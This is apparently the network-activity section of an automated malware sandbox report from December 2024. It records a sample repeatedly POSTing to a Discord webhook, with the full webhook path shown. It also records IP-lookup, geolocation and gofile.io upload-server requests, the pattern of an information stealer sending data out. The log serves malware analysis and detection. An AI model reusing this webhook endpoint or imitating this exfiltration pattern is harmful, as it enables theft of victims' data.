            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 420Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 1787Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 1787Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 420Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 412Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 1787Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 420Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 412Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 1787Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 412Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 1787Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 412Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 1787Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 412Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 1787Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 412Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 1787Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 412Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 1787Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 412Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 412Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 412Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 412Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 412Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 412Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 412Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 412Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 412Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1Accept-Encoding: identityHost: api.ipify.orgUser-Agent: Python-urllib/3.10Connection: close
            Source: global trafficHTTP traffic detected: GET /getServer HTTP/1.1Accept-Encoding: identityHost: api.gofile.ioUser-Agent: Python-urllib/3.10Connection: close
            Source: global trafficHTTP traffic detected: GET /jsonp/8.46.123.189 HTTP/1.1Accept-Encoding: identityHost: geolocation-db.comUser-Agent: Python-urllib/3.10Connection: close
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1Accept-Encoding: identityHost: api.ipify.orgUser-Agent: Python-urllib/3.10Connection: close
            Source: global trafficHTTP traffic detected: GET /getServer HTTP/1.1Accept-Encoding: identityHost: api.gofile.ioUser-Agent: Python-urllib/3.10Connection: close
            Source: global trafficHTTP traffic detected: GET /jsonp/8.46.123.189 HTTP/1.1Accept-Encoding: identityHost: geolocation-db.comUser-Agent: Python-urllib/3.10Connection: close
            Source: global trafficDNS traffic detected: DNS query: api.ipify.org
            Source: global trafficDNS traffic detected: DNS query: api.gofile.io
            Source: global trafficDNS traffic detected: DNS query: geolocation-db.com
            Source: global trafficDNS traffic detected: DNS query: store4.gofile.io
            Source: global trafficDNS traffic detected: DNS query: discord.com
            Source: unknownHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 420Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.27.1Date: Sun, 29 Dec 2024 19:02:40 GMTContent-Type: text/html; charset=utf-8Content-Length: 14Connection: closeAccess-Control-Allow-Origin: *Access-Control-Allow-Headers: Content-Type, AuthorizationAccess-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEADAccess-Control-Allow-Credentials: trueContent-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requestsCross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: cross-originOrigin-Agent-Cluster: ?1Referrer-Policy: no-referrerStrict-Transport-Security: max-age=15552000; includeSubDomainsX-Content-Type-Options: nosniffX-DNS-Prefetch-Control: offX-Download-Options: noopenX-Frame-Options: SAMEORIGINX-Permitted-Cross-Domain-Policies: noneX-XSS-Protection: 0ETag: W/"e-18wLxDNka2j9cTg7gpgujtuBb1A"
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:02:45 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498966x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VcL%2BFMVSqvz7tTWlR1tLkLu%2FDQ%2Fl8eYAC5HuxV02pNUQ8POQzbsss%2FBlTVxK8yPGstQWy0EK%2B1aWQIuS%2Bqlz4VQ7lPkN5t9btSJ2CGNxO19%2BPE%2FEgy9Reh12JnEs"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=752684ca2b78c199a71dd5c30154bde0dc60dd85-1735498965; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=XhmKbEJ_SuzFm3Iztlh64DXx1CW.ahUwx.jYNEEE048-1735498965245-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0bd46897186d-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:02:47 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498968x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ijj83wKKUEjw1eJOyFtwhZNQmOqj9HRXXfRNuSeRihl30er6CwzKyVXN3gHaeFEPnR89HC3x6Irz8Zn73P%2BeUxNVjRqbcmD3FWl1yP561Dv%2BFP8zq6VJ2bbqVGk4"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=623e6abcde00c142c2d5ec210b81eac86a32c704-1735498967; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=Cvwb_4N.hYs5dxF6V._pzk.T9yYMRxkEpv5gtFAGey8-1735498967174-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0bdfd983f799-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:02:49 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498970x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BjYK7ei2LslEHt9NpK8cOqf5VVqO2UDklNYjCRt9axGniT2h4jepUxEdmwvm8g%2Bxh4OFuQa2QEoIlyJCGv2DLbYhLFyoAbxAqjlZDsZVylzDEXIc6C26OAX5EU70"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=e06e93c4c3494c59fa4bbe37d00fe5a060aa4d80-1735498969; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=XzNxxMyL.p8r3sXfQzp3gH2Gg2XAaF3k9qJe.w3BVz0-1735498969224-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0bed4935c32e-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:02:50 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498972x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SiMzUe8TVFL4lL3nJ9UjVXgBsR5%2FhFrl8JCe1qpi9sL4DFn9SsFFvwgXF%2FlfIj2gitdZqqwUUw78EBAoy38PWra2dc2OKRq6noTCaiASfhr8hoCrfidyS86FeyUb"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=e8824e005ef012f30576e98fe97ec33477a2f423-1735498970; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=VWwslk8gVncU7Dm.2sR8N8v.xq5HXr2aOHWezwSd8xk-1735498970952-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0bf819424363-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:02:52 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498974x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N0jmu9NXwWZ85CMmIVIoyXjzU6zIVXpkg%2BneiDJBGPJB%2Fwwn%2FYO22vfdTUgeYXwAtwtKA6bwuuaGYXSvimc1zEIhO%2BbVcyYt%2FjNitKXfSRkpECd4zG0TQ8ZfRrkV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=c6eb26ec5d97677dd755fecb35740d7b2c34999d-1735498972; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=oQSdn4_iWAC_tows86fMG9iRoQI2uWlRCf3T1PKS8G4-1735498972732-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c032acb43d3-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:02:54 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498975x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mWM%2FrKfFzfzUP1Mfk5hyZNyIrqdG1utgWtPOPdVPptas%2FwCWT%2F4HVbSmJbX8APN5qLkO7r2s%2BkJvMoS4wFSdwnVrgBPGm7f2MalBto1cMr3oI%2Fl6btE0yOH6reWA"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=0f05533984d6908e46ef45dac808328d15271110-1735498974; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=KuizxNPIEs1sXO4xGzStJLPpFyQ3ydTiq9rBC5PknGQ-1735498974462-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c0e0cb92363-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:02:56 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498977x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RrTwFCXa13X6cxUjCVxMgDbeLom7Pd5hFLNP4VHJQ9wYZU80Xl%2BbyRoBNEYCPoX%2Fm0%2BL0zumAxCMjhyj3OIjnFmAJaBfJ48J7MSoQN61tF7pc9oZM5lLGCcmBHxY"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=5bc9eee408a1c59afa175019f5df8e545d23eacd-1735498976; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=QJiOEpyiyKF00rgd4cP8HoRM.bXp._pd8jS4T6xqcho-1735498976197-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c18cd81c47f-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.27.1Date: Sun, 29 Dec 2024 19:02:57 GMTContent-Type: text/html; charset=utf-8Content-Length: 14Connection: closeAccess-Control-Allow-Origin: *Access-Control-Allow-Headers: Content-Type, AuthorizationAccess-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEADAccess-Control-Allow-Credentials: trueContent-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requestsCross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: cross-originOrigin-Agent-Cluster: ?1Referrer-Policy: no-referrerStrict-Transport-Security: max-age=15552000; includeSubDomainsX-Content-Type-Options: nosniffX-DNS-Prefetch-Control: offX-Download-Options: noopenX-Frame-Options: SAMEORIGINX-Permitted-Cross-Domain-Policies: noneX-XSS-Protection: 0ETag: W/"e-18wLxDNka2j9cTg7gpgujtuBb1A"
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:02:58 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498979x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ETiIxRhaoy8vUUbljZfBQAxRuNk%2FBIUYJx0m4OAIv0JQUKW4TEFOUhP3oAVUOYRLUYNxuWsWfyNo8wdYhF9lN6lkSx%2BbMjqPi7h7aPsXrbPr82Pmn1xbzGH8FFhs"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=118c5223e3186f6a9611a519377b96a1aa1193a4-1735498978; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=.s3GrcO_hePDmmDKu2vuMrbvaBJA9jDOrfBEm.98Wio-1735498978092-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c24bce40f7d-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:02:59 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498980x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=al14tV3RO5HAUGlpzldwbNVdyOqSgAYjGAGFl4u9J%2BcEcrKeUkb72GhVyFq5a9Ky84w2Bp5mq4I4sw0FeQVfqtietjjAnh1BOzkJj6gv7FtFwM86yxaFxgvn7O0p"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=4ad72b55e11a23022160cd227dced0a61e8bc086-1735498979; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=3mp86m6fg2yt6TrvqhFhIX3HYUwXx6EX7Cx2XPSFZHg-1735498979222-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c2b3b6d6a52-EWR
